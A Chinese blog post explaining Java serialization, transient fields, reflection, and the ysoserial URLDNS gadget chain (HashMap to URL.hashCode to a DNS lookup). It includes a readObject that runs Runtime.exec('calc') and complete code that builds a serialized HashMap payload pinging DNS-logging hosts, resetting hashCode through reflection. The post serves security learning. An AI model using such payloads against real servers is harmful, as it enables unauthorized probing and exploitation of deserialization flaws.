Java反序列化基础+URLDNS利用链分析

序列化与反序列化

Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。

序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例。

序列化的实现

只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)

Serializable 接口

是 Java 提供的序列化接口,它是一个空接口

public interface Serializable {  
}

Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。

Serializable 接口的基本使用

  • ObjectOutputStream类的 writeObject() 方法可以实现序列化。
  • ObjectInputStream 类的 readObject() 方法用于反序列化。
  • Java IO 采用装饰者模式,基础流(File/ByteArray 流)负责数据的 “存储位置”(文件 / 内存),只做最基础的字节读写;
  • ObjectOutputStream/ObjectInputStream是 “功能装饰器”,负责给基础流添加 “对象序列化 / 反序列化” 的功能

Serializable 接口的特点

序列化类的属性没有实现 Serializable 那么在序列化就会报错

Exception in thread "main" java.io.NotSerializableException

跟进 ObjectOutputStream#writeObject() 源码

    public final void writeObject(Object obj) throws IOException {
        if (enableOverride) {
            writeObjectOverride(obj);
            return;
        }
        try {
            writeObject0(obj, false);
        } catch (IOException ex) {
            if (depth == 0) {
                writeFatalException(ex);
            }
            throw ex;
        }
    }

发现实际调用的是writeObject0,继续跟进

// remaining cases
            if (obj instanceof String) {
                writeString((String) obj, unshared);
            } else if (cl.isArray()) {
                writeArray(obj, desc, unshared);
            } else if (obj instanceof Enum) {
                writeEnum((Enum<?>) obj, desc, unshared);
            } else if (obj instanceof Serializable) {
                writeOrdinaryObject(obj, desc, unshared);
            } else {
                if (extendedDebugInfo) {
                    throw new NotSerializableException(
                        cl.getName() + "\n" + debugInfoStack.toString());
                } else {
                    throw new NotSerializableException(cl.getName());
                }
            }

这里判断了要序列化的obj对象实例是否实现了Serializable接口,如果没有就抛出异常。

transient 标识

transient 标识的对象成员变量不参与序列化

现在有一个Person类,没有transient 标识时,反序列化的结果是

Person{name='LE0', age=20}

当给name加上transient 标识后,反序列化的结果是

Person{name='null', age=20}

为什么反序列化会产生安全问题?

只要服务端反序列化数据,客户端传递的readObject中的代码会自动执行,给予攻击者在服务器上运行代码的能力。

可能的形式

  1. 入口类的readObject直接调用危险的方法。
import java.io.IOException;  
import java.io.Serializable;  
  
public class Person implements Serializable {  
    public transient String name;  
    private int age;  
  
    public Person(){  
  
    }  
    public Person(String name, int age) {  
        this.name = name;  
        this.age = age;  
    }  
    @Override  
    public String toString() {  
        return "Person{" +  
                "name='" + name + '\'' +  
                ", age=" + age +  
                '}';  
    }  
    private void readObject(java.io.ObjectInputStream in)  
            throws IOException, ClassNotFoundException {  
        in.defaultReadObject();  
        Runtime.getRuntime().exec("calc");  
    }  
}

但这种情况一般不可能发生,谁会这么写代码呢?

  1. 入口类参数中包含可控类,该类有危险的方法,readObject时调用

入口类source(重写readObject,参数类型宽泛,最好是jdk自带的,继承Serializable

Hashmap就是一个很好的入口

为什么hashmap要重写readObject?

HashMap中,当key是对象时,在不同JVM下的哈希值可能存在差异,因此要把对象拆开,将元素单独计算,所以需要重写。

URLDNS链

URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

如果想发起http请求,那就和URL类有关,发现URL是可以序列化的

public final class URL implements java.io.Serializable {  
  
    static final String BUILTIN_HANDLERS_PREFIX = "sun.net.www.protocol";  
    static final long serialVersionUID = -7627629688361524110L;

那继续跟进看,正常发起请求需要用到openConnection方法,但是不太可能有同名的函数,无法利用。

发现有hashCode方法,调用了hashCode函数,跟进

public synchronized int hashCode() {  
    if (hashCode != -1)  
        return hashCode;  
  
    hashCode = handler.hashCode(this);  
    return hashCode;  
}

发现在hashCode的时候,会调用 getHostAddress 来解析域名,从而发送DNS请求

protected int hashCode(URL u) {  
    int h = 0;  
  
    // Generate the protocol part.  
    String protocol = u.getProtocol();  
    if (protocol != null)  
        h += protocol.hashCode();  
  
    // Generate the host part.  
    InetAddress addr = getHostAddress(u);  
    if (addr != null) {  
        h += addr.hashCode();  
    } else {  
        String host = u.getHost();  
        if (host != null)  
            h += host.toLowerCase().hashCode();  
    }  
  
    // Generate the file part.  
    String file = u.getFile();  
    if (file != null)  
        h += file.hashCode();  
  
    // Generate the port part.  
    if (u.getPort() == -1)  
        h += getDefaultPort();  
    else  
        h += u.getPort();  
  
    // Generate the ref part.  
    String ref = u.getRef();  
    if (ref != null)  
        h += ref.hashCode();  
  
    return h;  
}

理论可行那就尝试一下

//serialization
import java.io.FileNotFoundException;  
import java.io.FileOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutputStream;  
import java.net.URL;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
  
public class SerializationTest {  
     public static void serialization(Object obj) throws IOException {  
         ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));  
         oos.writeObject(obj);  
     }  
  
    public static void main(String[] args) throws IOException {  
        HashMap <URL,Integer> map = new HashMap<>();  
        map.put(new URL("http://yrsmphqnks.zaza.eu.org"),1);  
        serialization(map);  
    }  
}
//unserialization
import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
public class DeserializationTest {  
    public static Object unserialization(String filename) throws IOException, ClassNotFoundException {  
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));  
        Object obj = ois.readObject();  
        return obj;  
    }  
  
    public static void main(String[] args) throws IOException, ClassNotFoundException {  
        unserialization("ser.bin");  
    }  
}

运行后发现在序列化的时候已经发送了DNS请求,并且在反序列化时没收到。

Pasted image 20260122220859

这是因为在执行map.put之后,hashCode已经变成了URL的hashcode,不等于-1,所以在反序列化的时候不会执行。

我们希望的是在序列化前不发起请求,并且在执行map.put之后将hashCode改回-1。

这就要用到Java的反射技术,改变已有的对象的属性。

Java反射

Java 反射 (Reflection) 是 Java 提供的核心内置机制,属于java.lang.reflect包,它允许程序在 运行时期(Runtime)

  • 获取任意一个类的完整结构信息(类名、属性、方法、构造方法、修饰符等)
  • 操作任意一个类的对象:调用它的任意方法(包括private私有方法)、修改它的任意属性(包括private私有属性)
  • 动态创建任意一个类的实例对象

Person类为例

import java.io.IOException;  
import java.io.Serializable;  
import java.util.HashMap;  
import java.util.Map;  
  
public class Person implements Serializable {  
    public transient String name;  
    private int age;  
  
    public Person(){  
  
    }  
    public Person(String name, int age) {  
        this.name = name;  
        this.age = age;  
    }  
    @Override  
    public String toString() {  
        return "Person{" +  
                "name='" + name + '\'' +  
                ", age=" + age +  
                '}';  
    }  
  
    public void action(String a) {  
        System.out.println(a);;  
    }  
}
import java.io.FileNotFoundException;  
import java.io.FileOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationTargetException;  
import java.lang.reflect.Method;  
import java.net.URL;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
  
public class SerializationTest {  
     public static void serialization(Object obj) throws IOException {  
         ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));  
         oos.writeObject(obj);  
     }  
  
    public static void main(String[] args) throws IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {  
        Person person = new Person();  
        //获取原型  
        Class c = person.getClass();  
        //从原型class中实例化对象  
        //调用无参构造器  
        c.newInstance();  
        //如果想调用有参构造器,想获取有参构造器原型,再调用  
        Constructor constructor = c.getConstructor(String.class, int.class);  
        Person p = (Person) constructor.newInstance("LE0",20);  
        System.out.println(p);  
  
        //获取类里的属性(不包含私有属性)  
        Field[] fields = c.getFields();  
        for(Field f : fields){  
            System.out.println(f.getName());  
        }  
        //获取类里的所有属性(包含私有属性)  
        Field[] declaredFields = c.getDeclaredFields();  
        for(Field f : declaredFields) {  
            System.out.println(f.getName());  
        }  
        //根据变量名获取  
        Field nameField = c.getDeclaredField("name");  
        //私有属性需要关闭安全检查  
        nameField.setAccessible(true);  
        nameField.set(p,"LEE0");  
        System.out.println(p);  
  
        //调用方法  
        Method[] methods = c.getMethods();  
        for(Method m : methods) {  
            System.out.println(m.getName());  
        }  
        Method actionMethod = c.getMethod("action",String.class);  
        actionMethod.invoke(p,"play");  
    }  
}
output:
Person{name='LE0', age=20}
name
name
age
Person{name='LEE0', age=20}
toString
action
wait
wait
wait
equals
hashCode
getClass
notify
notifyAll
play

通过反射修改hashCode的值

//Serialization
public static void main(String[] args) throws IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {  
    Person person = new Person("LE0",20);  
    System.out.println(person);  
    HashMap <URL,Integer> map = new HashMap<>();  
    URL url = new URL("http://vfbkfeqjew.lfcx.eu.org");  
    Class c = url.getClass();  
    Field hashcodeField = c.getDeclaredField("hashCode");  
    hashcodeField.setAccessible(true);  
    hashcodeField.set(url,1);  
    map.put(url,1);  
    hashcodeField.set(url,-1);  
    serialization(map);
}

下断点,hashCode的值确实改变了

Pasted image 20260122224709

Pasted image 20260122224507

总结一下

ysoserial中列出的Gadget:

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

JDK1.8下的调用路线:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

参考

java序列化与反序列化全讲解_反序列化会进无参构造吗-CSDN博客

https://www.bilibili.com/video/BV16h411z7o9

为什么HashMap要自己实现writeObject和readObject方法? - 知乎

Java反序列化 — URLDNS利用链分析-先知社区

posted @ 2026-01-22 23:01  leee0  阅读(1)  评论(0)    收藏  举报